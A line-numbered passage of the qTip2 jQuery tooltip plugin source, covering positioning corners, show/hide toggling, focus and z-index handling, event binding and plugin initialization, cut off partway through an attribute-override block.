906 // Compensate for non-static containers offset
907 do {
908 if((position = $.css(parent, 'position')) !== 'static') {
909 if(position === 'fixed') {
910 parentOffset = parent.getBoundingClientRect();
911 scroll(ownerDocument, -1);
912 }
913 else {
914 parentOffset = $(parent).position();
915 parentOffset.left += (parseFloat($.css(parent, 'borderLeftWidth')) || 0);
916 parentOffset.top += (parseFloat($.css(parent, 'borderTopWidth')) || 0);
917 }
918
919 pos.left -= parentOffset.left + (parseFloat($.css(parent, 'marginLeft')) || 0);
920 pos.top -= parentOffset.top + (parseFloat($.css(parent, 'marginTop')) || 0);
921
922 // If this is the first parent element with an overflow of "scroll" or "auto", store it
923 if(!scrolled && (overflow = $.css(parent, 'overflow')) !== 'hidden' && overflow !== 'visible') { scrolled = $(parent); }
924 }
925 }
926 while((parent = parent.offsetParent));
927
928 // Compensate for containers scroll if it also has an offsetParent (or in IE quirks mode)
929 if(scrolled && (scrolled[0] !== ownerDocument[0] || quirks)) {
930 scroll(scrolled, 1);
931 }
932
933 return pos;
934 };
935
936 // Corner class
937 var C = (CORNER = PROTOTYPE.reposition.Corner = function(corner, forceY) {
938 corner = ('' + corner).replace(/([A-Z])/, ' $1').replace(/middle/gi, CENTER).toLowerCase();
939 this.x = (corner.match(/left|right/i) || corner.match(/center/) || ['inherit'])[0].toLowerCase();
940 this.y = (corner.match(/top|bottom|center/i) || ['inherit'])[0].toLowerCase();
941 this.forceY = !!forceY;
942
943 var f = corner.charAt(0);
944 this.precedance = (f === 't' || f === 'b' ? Y : X);
945 }).prototype;
946
947 C.invert = function(z, center) {
948 this[z] = this[z] === LEFT ? RIGHT : this[z] === RIGHT ? LEFT : center || this[z];
949 };
950
951 C.string = function() {
952 var x = this.x, y = this.y;
953 return x === y ? x : this.precedance === Y || (this.forceY && y !== 'center') ? y+' '+x : x+' '+y;
954 };
955
956 C.abbrev = function() {
957 var result = this.string().split(' ');
958 return result[0].charAt(0) + (result[1] && result[1].charAt(0) || '');
959 };
960
961 C.clone = function() {
962 return new CORNER( this.string(), this.forceY );
963 };;
964 PROTOTYPE.toggle = function(state, event) {
965 var cache = this.cache,
966 options = this.options,
967 tooltip = this.tooltip;
968
969 // Try to prevent flickering when tooltip overlaps show element
970 if(event) {
971 if((/over|enter/).test(event.type) && (/out|leave/).test(cache.event.type) &&
972 options.show.target.add(event.target).length === options.show.target.length &&
973 tooltip.has(event.relatedTarget).length) {
974 return this;
975 }
976
977 // Cache event
978 cache.event = cloneEvent(event);
979 }
980
981 // If we're currently waiting and we've just hidden... stop it
982 this.waiting && !state && (this.hiddenDuringWait = TRUE);
983
984 // Render the tooltip if showing and it isn't already
985 if(!this.rendered) { return state ? this.render(1) : this; }
986 else if(this.destroyed || this.disabled) { return this; }
987
988 var type = state ? 'show' : 'hide',
989 opts = this.options[type],
990 otherOpts = this.options[ !state ? 'show' : 'hide' ],
991 posOptions = this.options.position,
992 contentOptions = this.options.content,
993 width = this.tooltip.css('width'),
994 visible = this.tooltip.is(':visible'),
995 animate = state || opts.target.length === 1,
996 sameTarget = !event || opts.target.length < 2 || cache.target[0] === event.target,
997 identicalState, allow, showEvent, delay, after;
998
999 // Detect state if valid one isn't provided
1000 if((typeof state).search('boolean|number')) { state = !visible; }
1001
1002 // Check if the tooltip is in an identical state to the new would-be state
1003 identicalState = !tooltip.is(':animated') && visible === state && sameTarget;
1004
1005 // Fire tooltip(show/hide) event and check if destroyed
1006 allow = !identicalState ? !!this._trigger(type, [90]) : NULL;
1007
1008 // Check to make sure the tooltip wasn't destroyed in the callback
1009 if(this.destroyed) { return this; }
1010
1011 // If the user didn't stop the method prematurely and we're showing the tooltip, focus it
1012 if(allow !== FALSE && state) { this.focus(event); }
1013
1014 // If the state hasn't changed or the user stopped it, return early
1015 if(!allow || identicalState) { return this; }
1016
1017 // Set ARIA hidden attribute
1018 $.attr(tooltip[0], 'aria-hidden', !!!state);
1019
1020 // Execute state specific properties
1021 if(state) {
1022 // Store show origin coordinates
1023 cache.origin = cloneEvent(this.mouse);
1024
1025 // Update tooltip content & title if it's a dynamic function
1026 if($.isFunction(contentOptions.text)) { this._updateContent(contentOptions.text, FALSE); }
1027 if($.isFunction(contentOptions.title)) { this._updateTitle(contentOptions.title, FALSE); }
1028
1029 // Cache mousemove events for positioning purposes (if not already tracking)
1030 if(!trackingBound && posOptions.target === 'mouse' && posOptions.adjust.mouse) {
1031 $(document).bind('mousemove.'+NAMESPACE, this._storeMouse);
1032 trackingBound = TRUE;
1033 }
1034
1035 // Update the tooltip position (set width first to prevent viewport/max-width issues)
1036 if(!width) { tooltip.css('width', tooltip.outerWidth(FALSE)); }
1037 this.reposition(event, arguments[2]);
1038 if(!width) { tooltip.css('width', ''); }
1039
1040 // Hide other tooltips if tooltip is solo
1041 if(!!opts.solo) {
1042 (typeof opts.solo === 'string' ? $(opts.solo) : $(SELECTOR, opts.solo))
1043 .not(tooltip).not(opts.target).qtip('hide', $.Event('tooltipsolo'));
1044 }
1045 }
1046 else {
1047 // Clear show timer if we're hiding
1048 clearTimeout(this.timers.show);
1049
1050 // Remove cached origin on hide
1051 delete cache.origin;
1052
1053 // Remove mouse tracking event if not needed (all tracking qTips are hidden)
1054 if(trackingBound && !$(SELECTOR+'[tracking="true"]:visible', opts.solo).not(tooltip).length) {
1055 $(document).unbind('mousemove.'+NAMESPACE);
1056 trackingBound = FALSE;
1057 }
1058
1059 // Blur the tooltip
1060 this.blur(event);
1061 }
1062
1063 // Define post-animation, state specific properties
1064 after = $.proxy(function() {
1065 if(state) {
1066 // Prevent antialias from disappearing in IE by removing filter
1067 if(BROWSER.ie) { tooltip[0].style.removeAttribute('filter'); }
1068
1069 // Remove overflow setting to prevent tip bugs
1070 tooltip.css('overflow', '');
1071
1072 // Autofocus elements if enabled
1073 if('string' === typeof opts.autofocus) {
1074 $(this.options.show.autofocus, tooltip).focus();
1075 }
1076
1077 // If set, hide tooltip when inactive for delay period
1078 this.options.show.target.trigger('qtip-'+this.id+'-inactive');
1079 }
1080 else {
1081 // Reset CSS states
1082 tooltip.css({
1083 display: '',
1084 visibility: '',
1085 opacity: '',
1086 left: '',
1087 top: ''
1088 });
1089 }
1090
1091 // tooltipvisible/tooltiphidden events
1092 this._trigger(state ? 'visible' : 'hidden');
1093 }, this);
1094
1095 // If no effect type is supplied, use a simple toggle
1096 if(opts.effect === FALSE || animate === FALSE) {
1097 tooltip[ type ]();
1098 after();
1099 }
1100
1101 // Use custom function if provided
1102 else if($.isFunction(opts.effect)) {
1103 tooltip.stop(1, 1);
1104 opts.effect.call(tooltip, this);
1105 tooltip.queue('fx', function(n) {
1106 after(); n();
1107 });
1108 }
1109
1110 // Use basic fade function by default
1111 else { tooltip.fadeTo(90, state ? 1 : 0, after); }
1112
1113 // If inactive hide method is set, active it
1114 if(state) { opts.target.trigger('qtip-'+this.id+'-inactive'); }
1115
1116 return this;
1117 };
1118
1119 PROTOTYPE.show = function(event) { return this.toggle(TRUE, event); };
1120
1121 PROTOTYPE.hide = function(event) { return this.toggle(FALSE, event); };
1122
1123 ;PROTOTYPE.focus = function(event) {
1124 if(!this.rendered || this.destroyed) { return this; }
1125
1126 var qtips = $(SELECTOR),
1127 tooltip = this.tooltip,
1128 curIndex = parseInt(tooltip[0].style.zIndex, 10),
1129 newIndex = QTIP.zindex + qtips.length,
1130 focusedElem;
1131
1132 // Only update the z-index if it has changed and tooltip is not already focused
1133 if(!tooltip.hasClass(CLASS_FOCUS)) {
1134 // tooltipfocus event
1135 if(this._trigger('focus', [newIndex], event)) {
1136 // Only update z-index's if they've changed
1137 if(curIndex !== newIndex) {
1138 // Reduce our z-index's and keep them properly ordered
1139 qtips.each(function() {
1140 if(this.style.zIndex > curIndex) {
1141 this.style.zIndex = this.style.zIndex - 1;
1142 }
1143 });
1144
1145 // Fire blur event for focused tooltip
1146 qtips.filter('.' + CLASS_FOCUS).qtip('blur', event);
1147 }
1148
1149 // Set the new z-index
1150 tooltip.addClass(CLASS_FOCUS)[0].style.zIndex = newIndex;
1151 }
1152 }
1153
1154 return this;
1155 };
1156
1157 PROTOTYPE.blur = function(event) {
1158 if(!this.rendered || this.destroyed) { return this; }
1159
1160 // Set focused status to FALSE
1161 this.tooltip.removeClass(CLASS_FOCUS);
1162
1163 // tooltipblur event
1164 this._trigger('blur', [ this.tooltip.css('zIndex') ], event);
1165
1166 return this;
1167 };
1168
1169 ;PROTOTYPE.disable = function(state) {
1170 if(this.destroyed) { return this; }
1171
1172 // If 'toggle' is passed, toggle the current state
1173 if(state === 'toggle') {
1174 state = !(this.rendered ? this.tooltip.hasClass(CLASS_DISABLED) : this.disabled);
1175 }
1176
1177 // Disable if no state passed
1178 else if('boolean' !== typeof state) {
1179 state = TRUE;
1180 }
1181
1182 if(this.rendered) {
1183 this.tooltip.toggleClass(CLASS_DISABLED, state)
1184 .attr('aria-disabled', state);
1185 }
1186
1187 this.disabled = !!state;
1188
1189 return this;
1190 };
1191
1192 PROTOTYPE.enable = function() { return this.disable(FALSE); };
1193
1194 ;PROTOTYPE._createButton = function()
1195 {
1196 var self = this,
1197 elements = this.elements,
1198 tooltip = elements.tooltip,
1199 button = this.options.content.button,
1200 isString = typeof button === 'string',
1201 close = isString ? button : 'Close tooltip';
1202
1203 if(elements.button) { elements.button.remove(); }
1204
1205 // Use custom button if one was supplied by user, else use default
1206 if(button.jquery) {
1207 elements.button = button;
1208 }
1209 else {
1210 elements.button = $('<a />', {
1211 'class': 'qtip-close ' + (this.options.style.widget ? '' : NAMESPACE+'-icon'),
1212 'title': close,
1213 'aria-label': close
1214 })
1215 .prepend(
1216 $('<span />', {
1217 'class': 'ui-icon ui-icon-close',
1218 'html': '&times;'
1219 })
1220 );
1221 }
1222
1223 // Create button and setup attributes
1224 elements.button.appendTo(elements.titlebar || tooltip)
1225 .attr('role', 'button')
1226 .click(function(event) {
1227 if(!tooltip.hasClass(CLASS_DISABLED)) { self.hide(event); }
1228 return FALSE;
1229 });
1230 };
1231
1232 PROTOTYPE._updateButton = function(button)
1233 {
1234 // Make sure tooltip is rendered and if not, return
1235 if(!this.rendered) { return FALSE; }
1236
1237 var elem = this.elements.button;
1238 if(button) { this._createButton(); }
1239 else { elem.remove(); }
1240 };
1241
1242 ;// Widget class creator
1243 function createWidgetClass(cls) {
1244 return WIDGET.concat('').join(cls ? '-'+cls+' ' : ' ');
1245 }
1246
1247 // Widget class setter method
1248 PROTOTYPE._setWidget = function()
1249 {
1250 var on = this.options.style.widget,
1251 elements = this.elements,
1252 tooltip = elements.tooltip,
1253 disabled = tooltip.hasClass(CLASS_DISABLED);
1254
1255 tooltip.removeClass(CLASS_DISABLED);
1256 CLASS_DISABLED = on ? 'ui-state-disabled' : 'qtip-disabled';
1257 tooltip.toggleClass(CLASS_DISABLED, disabled);
1258
1259 tooltip.toggleClass('ui-helper-reset '+createWidgetClass(), on).toggleClass(CLASS_DEFAULT, this.options.style.def && !on);
1260
1261 if(elements.content) {
1262 elements.content.toggleClass( createWidgetClass('content'), on);
1263 }
1264 if(elements.titlebar) {
1265 elements.titlebar.toggleClass( createWidgetClass('header'), on);
1266 }
1267 if(elements.button) {
1268 elements.button.toggleClass(NAMESPACE+'-icon', !on);
1269 }
1270 };;function cloneEvent(event) {
1271 return event && {
1272 type: event.type,
1273 pageX: event.pageX,
1274 pageY: event.pageY,
1275 target: event.target,
1276 relatedTarget: event.relatedTarget,
1277 scrollX: event.scrollX || window.pageXOffset || document.body.scrollLeft || document.documentElement.scrollLeft,
1278 scrollY: event.scrollY || window.pageYOffset || document.body.scrollTop || document.documentElement.scrollTop
1279 } || {};
1280 }
1281
1282 function delay(callback, duration) {
1283 // If tooltip has displayed, start hide timer
1284 if(duration > 0) {
1285 return setTimeout(
1286 $.proxy(callback, this), duration
1287 );
1288 }
1289 else{ callback.call(this); }
1290 }
1291
1292 function showMethod(event) {
1293 if(this.tooltip.hasClass(CLASS_DISABLED)) { return FALSE; }
1294
1295 // Clear hide timers
1296 clearTimeout(this.timers.show);
1297 clearTimeout(this.timers.hide);
1298
1299 // Start show timer
1300 this.timers.show = delay.call(this,
1301 function() { this.toggle(TRUE, event); },
1302 this.options.show.delay
1303 );
1304 }
1305
1306 function hideMethod(event) {
1307 if(this.tooltip.hasClass(CLASS_DISABLED)) { return FALSE; }
1308
1309 // Check if new target was actually the tooltip element
1310 var relatedTarget = $(event.relatedTarget),
1311 ontoTooltip = relatedTarget.closest(SELECTOR)[0] === this.tooltip[0],
1312 ontoTarget = relatedTarget[0] === this.options.show.target[0];
1313
1314 // Clear timers and stop animation queue
1315 clearTimeout(this.timers.show);
1316 clearTimeout(this.timers.hide);
1317
1318 // Prevent hiding if tooltip is fixed and event target is the tooltip.
1319 // Or if mouse positioning is enabled and cursor momentarily overlaps
1320 if(this !== relatedTarget[0] &&
1321 (this.options.position.target === 'mouse' && ontoTooltip) ||
1322 (this.options.hide.fixed && (
1323 (/mouse(out|leave|move)/).test(event.type) && (ontoTooltip || ontoTarget))
1324 ))
1325 {
1326 try {
1327 event.preventDefault();
1328 event.stopImmediatePropagation();
1329 } catch(e) {}
1330
1331 return;
1332 }
1333
1334 // If tooltip has displayed, start hide timer
1335 this.timers.hide = delay.call(this,
1336 function() { this.toggle(FALSE, event); },
1337 this.options.hide.delay,
1338 this
1339 );
1340 }
1341
1342 function inactiveMethod(event) {
1343 if(this.tooltip.hasClass(CLASS_DISABLED) || !this.options.hide.inactive) { return FALSE; }
1344
1345 // Clear timer
1346 clearTimeout(this.timers.inactive);
1347
1348 this.timers.inactive = delay.call(this,
1349 function(){ this.hide(event); },
1350 this.options.hide.inactive
1351 );
1352 }
1353
1354 function repositionMethod(event) {
1355 if(this.rendered && this.tooltip[0].offsetWidth > 0) { this.reposition(event); }
1356 }
1357
1358 // Store mouse coordinates
1359 PROTOTYPE._storeMouse = function(event) {
1360 (this.mouse = cloneEvent(event)).type = 'mousemove';
1361 };
1362
1363 // Bind events
1364 PROTOTYPE._bind = function(targets, events, method, suffix, context) {
1365 var ns = '.' + this._id + (suffix ? '-'+suffix : '');
1366 events.length && $(targets).bind(
1367 (events.split ? events : events.join(ns + ' ')) + ns,
1368 $.proxy(method, context || this)
1369 );
1370 };
1371 PROTOTYPE._unbind = function(targets, suffix) {
1372 $(targets).unbind('.' + this._id + (suffix ? '-'+suffix : ''));
1373 };
1374
1375 // Apply common event handlers using delegate (avoids excessive .bind calls!)
1376 var ns = '.'+NAMESPACE;
1377 function delegate(selector, events, method) {
1378 $(document.body).delegate(selector,
1379 (events.split ? events : events.join(ns + ' ')) + ns,
1380 function() {
1381 var api = QTIP.api[ $.attr(this, ATTR_ID) ];
1382 api && !api.disabled && method.apply(api, arguments);
1383 }
1384 );
1385 }
1386
1387 $(function() {
1388 delegate(SELECTOR, ['mouseenter', 'mouseleave'], function(event) {
1389 var state = event.type === 'mouseenter',
1390 tooltip = $(event.currentTarget),
1391 target = $(event.relatedTarget || event.target),
1392 options = this.options;
1393
1394 // On mouseenter...
1395 if(state) {
1396 // Focus the tooltip on mouseenter (z-index stacking)
1397 this.focus(event);
1398
1399 // Clear hide timer on tooltip hover to prevent it from closing
1400 tooltip.hasClass(CLASS_FIXED) && !tooltip.hasClass(CLASS_DISABLED) && clearTimeout(this.timers.hide);
1401 }
1402
1403 // On mouseleave...
1404 else {
1405 // Hide when we leave the tooltip and not onto the show target (if a hide event is set)
1406 if(options.position.target === 'mouse' && options.hide.event &&
1407 options.show.target && !target.closest(options.show.target[0]).length) {
1408 this.hide(event);
1409 }
1410 }
1411
1412 // Add hover class
1413 tooltip.toggleClass(CLASS_HOVER, state);
1414 });
1415
1416 // Define events which reset the 'inactive' event handler
1417 delegate('['+ATTR_ID+']', INACTIVE_EVENTS, inactiveMethod);
1418 });
1419
1420 // Event trigger
1421 PROTOTYPE._trigger = function(type, args, event) {
1422 var callback = $.Event('tooltip'+type);
1423 callback.originalEvent = (event && $.extend({}, event)) || this.cache.event || NULL;
1424
1425 this.triggering = type;
1426 this.tooltip.trigger(callback, [this].concat(args || []));
1427 this.triggering = FALSE;
1428
1429 return !callback.isDefaultPrevented();
1430 };
1431
1432 PROTOTYPE._bindEvents = function(showEvents, hideEvents, showTarget, hideTarget, showMethod, hideMethod) {
1433 // If hide and show targets are the same...
1434 if(hideTarget.add(showTarget).length === hideTarget.length) {
1435 var toggleEvents = [];
1436
1437 // Filter identical show/hide events
1438 hideEvents = $.map(hideEvents, function(type) {
1439 var showIndex = $.inArray(type, showEvents);
1440
1441 // Both events are identical, remove from both hide and show events
1442 // and append to toggleEvents
1443 if(showIndex > -1) {
1444 toggleEvents.push( showEvents.splice( showIndex, 1 )[0] );
1445 return;
1446 }
1447
1448 return type;
1449 });
1450
1451 // Toggle events are special case of identical show/hide events, which happen in sequence
1452 toggleEvents.length && this._bind(showTarget, toggleEvents, function(event) {
1453 var state = this.rendered ? this.tooltip[0].offsetWidth > 0 : false;
1454 (state ? hideMethod : showMethod).call(this, event);
1455 });
1456 }
1457
1458 // Apply show/hide/toggle events
1459 this._bind(showTarget, showEvents, showMethod);
1460 this._bind(hideTarget, hideEvents, hideMethod);
1461 };
1462
1463 PROTOTYPE._assignInitialEvents = function(event) {
1464 var options = this.options,
1465 showTarget = options.show.target,
1466 hideTarget = options.hide.target,
1467 showEvents = options.show.event ? $.trim('' + options.show.event).split(' ') : [],
1468 hideEvents = options.hide.event ? $.trim('' + options.hide.event).split(' ') : [];
1469
1470 /*
1471 * Make sure hoverIntent functions properly by using mouseleave as a hide event if
1472 * mouseenter/mouseout is used for show.event, even if it isn't in the users options.
1473 */
1474 if(/mouse(over|enter)/i.test(options.show.event) && !/mouse(out|leave)/i.test(options.hide.event)) {
1475 hideEvents.push('mouseleave');
1476 }
1477
1478 /*
1479 * Also make sure initial mouse targetting works correctly by caching mousemove coords
1480 * on show targets before the tooltip has rendered. Also set onTarget when triggered to
1481 * keep mouse tracking working.
1482 */
1483 this._bind(showTarget, 'mousemove', function(event) {
1484 this._storeMouse(event);
1485 this.cache.onTarget = TRUE;
1486 });
1487
1488 // Define hoverIntent function
1489 function hoverIntent(event) {
1490 // Only continue if tooltip isn't disabled
1491 if(this.disabled || this.destroyed) { return FALSE; }
1492
1493 // Cache the event data
1494 this.cache.event = cloneEvent(event);
1495 this.cache.target = event ? $(event.target) : [undefined];
1496
1497 // Start the event sequence
1498 clearTimeout(this.timers.show);
1499 this.timers.show = delay.call(this,
1500 function() { this.render(typeof event === 'object' || options.show.ready); },
1501 options.show.delay
1502 );
1503 }
1504
1505 // Filter and bind events
1506 this._bindEvents(showEvents, hideEvents, showTarget, hideTarget, hoverIntent, function() {
1507 clearTimeout(this.timers.show);
1508 });
1509
1510 // Prerendering is enabled, create tooltip now
1511 if(options.show.ready || options.prerender) { hoverIntent.call(this, event); }
1512 };
1513
1514 // Event assignment method
1515 PROTOTYPE._assignEvents = function() {
1516 var self = this,
1517 options = this.options,
1518 posOptions = options.position,
1519
1520 tooltip = this.tooltip,
1521 showTarget = options.show.target,
1522 hideTarget = options.hide.target,
1523 containerTarget = posOptions.container,
1524 viewportTarget = posOptions.viewport,
1525 documentTarget = $(document),
1526 bodyTarget = $(document.body),
1527 windowTarget = $(window),
1528
1529 showEvents = options.show.event ? $.trim('' + options.show.event).split(' ') : [],
1530 hideEvents = options.hide.event ? $.trim('' + options.hide.event).split(' ') : [];
1531
1532
1533 // Assign passed event callbacks
1534 $.each(options.events, function(name, callback) {
1535 self._bind(tooltip, name === 'toggle' ? ['tooltipshow','tooltiphide'] : ['tooltip'+name], callback, null, tooltip);
1536 });
1537
1538 // Hide tooltips when leaving current window/frame (but not select/option elements)
1539 if(/mouse(out|leave)/i.test(options.hide.event) && options.hide.leave === 'window') {
1540 this._bind(documentTarget, ['mouseout', 'blur'], function(event) {
1541 if(!/select|option/.test(event.target.nodeName) && !event.relatedTarget) {
1542 this.hide(event);
1543 }
1544 });
1545 }
1546
1547 // Enable hide.fixed by adding appropriate class
1548 if(options.hide.fixed) {
1549 hideTarget = hideTarget.add( tooltip.addClass(CLASS_FIXED) );
1550 }
1551
1552 /*
1553 * Make sure hoverIntent functions properly by using mouseleave to clear show timer if
1554 * mouseenter/mouseout is used for show.event, even if it isn't in the users options.
1555 */
1556 else if(/mouse(over|enter)/i.test(options.show.event)) {
1557 this._bind(hideTarget, 'mouseleave', function() {
1558 clearTimeout(this.timers.show);
1559 });
1560 }
1561
1562 // Hide tooltip on document mousedown if unfocus events are enabled
1563 if(('' + options.hide.event).indexOf('unfocus') > -1) {
1564 this._bind(containerTarget.closest('html'), ['mousedown', 'touchstart'], function(event) {
1565 var elem = $(event.target),
1566 enabled = this.rendered && !this.tooltip.hasClass(CLASS_DISABLED) && this.tooltip[0].offsetWidth > 0,
1567 isAncestor = elem.parents(SELECTOR).filter(this.tooltip[0]).length > 0;
1568
1569 if(elem[0] !== this.target[0] && elem[0] !== this.tooltip[0] && !isAncestor &&
1570 !this.target.has(elem[0]).length && enabled
1571 ) {
1572 this.hide(event);
1573 }
1574 });
1575 }
1576
1577 // Check if the tooltip hides when inactive
1578 if('number' === typeof options.hide.inactive) {
1579 // Bind inactive method to show target(s) as a custom event
1580 this._bind(showTarget, 'qtip-'+this.id+'-inactive', inactiveMethod);
1581
1582 // Define events which reset the 'inactive' event handler
1583 this._bind(hideTarget.add(tooltip), QTIP.inactiveEvents, inactiveMethod, '-inactive');
1584 }
1585
1586 // Filter and bind events
1587 this._bindEvents(showEvents, hideEvents, showTarget, hideTarget, showMethod, hideMethod);
1588
1589 // Mouse movement bindings
1590 this._bind(showTarget.add(tooltip), 'mousemove', function(event) {
1591 // Check if the tooltip hides when mouse is moved a certain distance
1592 if('number' === typeof options.hide.distance) {
1593 var origin = this.cache.origin || {},
1594 limit = this.options.hide.distance,
1595 abs = Math.abs;
1596
1597 // Check if the movement has gone beyond the limit, and hide it if so
1598 if(abs(event.pageX - origin.pageX) >= limit || abs(event.pageY - origin.pageY) >= limit) {
1599 this.hide(event);
1600 }
1601 }
1602
1603 // Cache mousemove coords on show targets
1604 this._storeMouse(event);
1605 });
1606
1607 // Mouse positioning events
1608 if(posOptions.target === 'mouse') {
1609 // If mouse adjustment is on...
1610 if(posOptions.adjust.mouse) {
1611 // Apply a mouseleave event so we don't get problems with overlapping
1612 if(options.hide.event) {
1613 // Track if we're on the target or not
1614 this._bind(showTarget, ['mouseenter', 'mouseleave'], function(event) {
1615 this.cache.onTarget = event.type === 'mouseenter';
1616 });
1617 }
1618
1619 // Update tooltip position on mousemove
1620 this._bind(documentTarget, 'mousemove', function(event) {
1621 // Update the tooltip position only if the tooltip is visible and adjustment is enabled
1622 if(this.rendered && this.cache.onTarget && !this.tooltip.hasClass(CLASS_DISABLED) && this.tooltip[0].offsetWidth > 0) {
1623 this.reposition(event);
1624 }
1625 });
1626 }
1627 }
1628
1629 // Adjust positions of the tooltip on window resize if enabled
1630 if(posOptions.adjust.resize || viewportTarget.length) {
1631 this._bind( $.event.special.resize ? viewportTarget : windowTarget, 'resize', repositionMethod );
1632 }
1633
1634 // Adjust tooltip position on scroll of the window or viewport element if present
1635 if(posOptions.adjust.scroll) {
1636 this._bind( windowTarget.add(posOptions.container), 'scroll', repositionMethod );
1637 }
1638 };
1639
1640 // Un-assignment method
1641 PROTOTYPE._unassignEvents = function() {
1642 var targets = [
1643 this.options.show.target[0],
1644 this.options.hide.target[0],
1645 this.rendered && this.tooltip[0],
1646 this.options.position.container[0],
1647 this.options.position.viewport[0],
1648 this.options.position.container.closest('html')[0], // unfocus
1649 window,
1650 document
1651 ];
1652
1653 this._unbind($([]).pushStack( $.grep(targets, function(i) {
1654 return typeof i === 'object';
1655 })));
1656 };
1657
1658 ;// Initialization method
1659 function init(elem, id, opts) {
1660 var obj, posOptions, attr, config, title,
1661
1662 // Setup element references
1663 docBody = $(document.body),
1664
1665 // Use document body instead of document element if needed
1666 newTarget = elem[0] === document ? docBody : elem,
1667
1668 // Grab metadata from element if plugin is present
1669 metadata = (elem.metadata) ? elem.metadata(opts.metadata) : NULL,
1670
1671 // If metadata type if HTML5, grab 'name' from the object instead, or use the regular data object otherwise
1672 metadata5 = opts.metadata.type === 'html5' && metadata ? metadata[opts.metadata.name] : NULL,
1673
1674 // Grab data from metadata.name (or data-qtipopts as fallback) using .data() method,
1675 html5 = elem.data(opts.metadata.name || 'qtipopts');
1676
1677 // If we don't get an object returned attempt to parse it manualyl without parseJSON
1678 try { html5 = typeof html5 === 'string' ? $.parseJSON(html5) : html5; } catch(e) {}
1679
1680 // Merge in and sanitize metadata
1681 config = $.extend(TRUE, {}, QTIP.defaults, opts,
1682 typeof html5 === 'object' ? sanitizeOptions(html5) : NULL,
1683 sanitizeOptions(metadata5 || metadata));
1684
1685 // Re-grab our positioning options now we've merged our metadata and set id to passed value
1686 posOptions = config.position;
1687 config.id = id;
1688
1689 // Setup missing content if none is detected
1690 if('boolean' === typeof config.content.text) {
1691 attr = elem.attr(config.content.attr);
1692
1693 // Grab from supplied attribute if available
1694 if(config.content.attr !== FALSE && attr) { config.content.text = attr; }
1695
1696 // No valid content was found, abort render
1697 else { return FALSE; }
1698 }
1699
1700 // Setup target options
1701 if(!posOptions.container.length) { posOptions.container = docBody; }
1702 if(posOptions.target === FALSE) { posOptions.target = newTarget; }
1703 if(config.show.target === FALSE) { config.show.target = newTarget; }
1704 if(config.show.solo === TRUE) { config.show.solo = posOptions.container.closest('body'); }
1705 if(config.hide.target === FALSE) { config.hide.target = newTarget; }
1706 if(config.position.viewport === TRUE) { config.position.viewport = posOptions.container; }
1707
1708 // Ensure we only use a single container
1709 posOptions.container = posOptions.container.eq(0);
1710
1711 // Convert position corner values into x and y strings
1712 posOptions.at = new CORNER(posOptions.at, TRUE);
1713 posOptions.my = new CORNER(posOptions.my);
1714
1715 // Destroy previous tooltip if overwrite is enabled, or skip element if not
1716 if(elem.data(NAMESPACE)) {
1717 if(config.overwrite) {
1718 elem.qtip('destroy', true);
1719 }
1720 else if(config.overwrite === FALSE) {
1721 return FALSE;
1722 }
1723 }
1724
1725 // Add has-qtip attribute
1726 elem.attr(ATTR_HAS, id);
1727
1728 // Remove title attribute and store it if present
1729 if(config.suppress && (title = elem.attr('title'))) {
1730 // Final attr call fixes event delegatiom and IE default tooltip showing problem
1731 elem.removeAttr('title').attr(oldtitle, title).attr('title', '');
1732 }
1733
1734 // Initialize the tooltip and add API reference
1735 obj = new QTip(elem, config, id, !!attr);
1736 elem.data(NAMESPACE, obj);
1737
1738 // Catch remove/removeqtip events on target element to destroy redundant tooltip
1739 elem.one('remove.qtip-'+id+' removeqtip.qtip-'+id, function() {
1740 var api; if((api = $(this).data(NAMESPACE))) { api.destroy(true); }
1741 });
1742
1743 return obj;
1744 }
1745
1746 // jQuery $.fn extension method
1747 QTIP = $.fn.qtip = function(options, notation, newValue)
1748 {
1749 var command = ('' + options).toLowerCase(), // Parse command
1750 returned = NULL,
1751 args = $.makeArray(arguments).slice(1),
1752 event = args[args.length - 1],
1753 opts = this[0] ? $.data(this[0], NAMESPACE) : NULL;
1754
1755 // Check for API request
1756 if((!arguments.length && opts) || command === 'api') {
1757 return opts;
1758 }
1759
1760 // Execute API command if present
1761 else if('string' === typeof options) {
1762 this.each(function() {
1763 var api = $.data(this, NAMESPACE);
1764 if(!api) { return TRUE; }
1765
1766 // Cache the event if possible
1767 if(event && event.timeStamp) { api.cache.event = event; }
1768
1769 // Check for specific API commands
1770 if(notation && (command === 'option' || command === 'options')) {
1771 if(newValue !== undefined || $.isPlainObject(notation)) {
1772 api.set(notation, newValue);
1773 }
1774 else {
1775 returned = api.get(notation);
1776 return FALSE;
1777 }
1778 }
1779
1780 // Execute API command
1781 else if(api[command]) {
1782 api[command].apply(api, args);
1783 }
1784 });
1785
1786 return returned !== NULL ? returned : this;
1787 }
1788
1789 // No API commands. validate provided options and setup qTips
1790 else if('object' === typeof options || !arguments.length) {
1791 // Sanitize options first
1792 opts = sanitizeOptions($.extend(TRUE, {}, options));
1793
1794 return this.each(function(i) {
1795 var api, id;
1796
1797 // Find next available ID, or use custom ID if provided
1798 id = $.isArray(opts.id) ? opts.id[i] : opts.id;
1799 id = !id || id === FALSE || id.length < 1 || QTIP.api[id] ? QTIP.nextid++ : id;
1800
1801 // Initialize the qTip and re-grab newly sanitized options
1802 api = init($(this), id, opts);
1803 if(api === FALSE) { return TRUE; }
1804 else { QTIP.api[id] = api; }
1805
1806 // Initialize plugins
1807 $.each(PLUGINS, function() {
1808 if(this.initialize === 'initialize') { this(api); }
1809 });
1810
1811 // Assign initial pre-render events
1812 api._assignInitialEvents(event);
1813 });
1814 }
1815 };
1816
1817 // Expose class
1818 $.qtip = QTip;
1819
1820 // Populated in render method
1821 QTIP.api = {};
1822 ;$.each({
1823 /* Allow other plugins to successfully retrieve the title of an element with a qTip applied */
1824 attr: function(attr, val) {
1825 if(this.length) {
1826 var self = this[0],
1827 title = 'title',
1828 api = $.data(self, 'qtip');
1829
1830 if(attr === title && api && 'object' === typeof api && api.options.suppress) {
1831 if(arguments.length < 2) {
1832 return $.attr(self, oldtitle);
1833 }
1834
1835 // If qTip is rendered and title was originally used as content, update it
1836 if(api && api.options.content.attr === title && api.cache.attr) {
1837 api.set('content.text', val);
1838 }
1839
1840 // Use the regular attr method to set, then cache the result
1841 return this.attr(oldtitle, val);
1842 }
1843 }
1844
1845 return $.fn['attr'+replaceSuffix].apply(this, arguments);
1846 },
1847
1848 /* Allow clone to correctly retrieve cached title attributes */
1849 clone: function(keepData) {
1850 var titles = $([]), title = 'title',
1851
1852 // Clone our element using the real clone method
1853 elems = $.fn['clone'+replaceSuffix].apply(this, arguments);
1854
